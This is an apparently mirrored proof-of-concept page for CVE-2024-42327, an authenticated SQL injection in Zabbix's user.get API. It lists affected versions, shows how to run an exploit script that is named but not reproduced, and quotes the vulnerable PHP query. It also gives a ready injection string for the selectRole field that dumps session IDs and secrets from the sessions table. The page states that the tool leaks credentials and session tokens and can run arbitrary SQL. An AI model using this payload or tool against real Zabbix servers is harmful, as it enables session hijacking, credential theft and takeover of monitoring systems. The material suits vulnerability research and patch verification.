POC详情: 2fc5f493505cd79d3f6b72273747257133fb6416

来源
关联漏洞
标题: Zabbix SQL注入漏洞 (CVE-2024-42327)
描述:Zabbix是Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 6.0.0至6.0.31版本、6.4.0至6.4.16版本和7.0.0版本存在SQL注入漏洞,该漏洞源于CUser类的addRelatedObjects函数中存在SQL注入漏洞,允许攻击者操纵数据库查询。
描述
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method
介绍
# CVE-2024-42327 - Zabbix SQL Injection Vulnerability (SQLI)
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method

## CVE Description
The vulnerability exists in the user.get API endpoint that can be exploited by a non-admin user with API access, including accounts with the default User role. 

The SQL injection flaw exists in the CUser class in the addRelatedObjects function. This function is being called from the CUser.get function, which is available to users with API access. 

An attacker may inject SQL commands by manipulating API calls. 

Successful exploitation of the vulnerability may allow an attacker to gain unauthorized access and control.

### Affected Versions
    - 6.0.0 – 6.0.31
    - 6.4.0 – 6.4.16
    - 7.0.0

## POC
This POC will leak user credentials from the database, as well as leaking session tokens to authenticate to the API with.

The option exists to run a custom SQL query (`--query`).

### Usage
```
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]

Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The URL to Zabbix (please include the path - http://example.com/zabbix/)
  -U USERNAME, --username USERNAME
                        The username to authenticate with
  -P PASSWORD, --password PASSWORD
                        The password to authenticate with
  --query QUERY         An optional custom SQL query to run through the SQL Injection
```

### Example
```
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
```

## Vulnerability Examination
Examining the code at https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php in the `addRelatedObjects` function, we easily find the vulnerable SQL Query (lines 3046 - 3051)

```php
$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);
```

It is immediately obvious that the values included in `$options['selectRole']` is passed into the SQL query.

A typical JSON Blob to hit this part of the code looks like the following:
```json
{
  "jsonrpc": "2.0",
  "auth": "AUTH_TOKEN_HERE",
  "id": 1,
  "method": "user.get",
  "params": {
    "output": [
      "userid",
      "username"
    ],
    "selectRole": [
      "type",
      "roleid",
      "name",
      "readonly"
    ]
  }
}
```

We may craft the `"selectRole"` values to allow for SQL Injection
```
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
```

The above injection makes the SQL query something like the below:
```sql
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)
```





文件快照

[4.0K] /data/pocs/2fc5f493505cd79d3f6b72273747257133fb6416 ├── [5.5K] CVE-2024-42327_Zabbix_SQLI.py └── [3.0K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。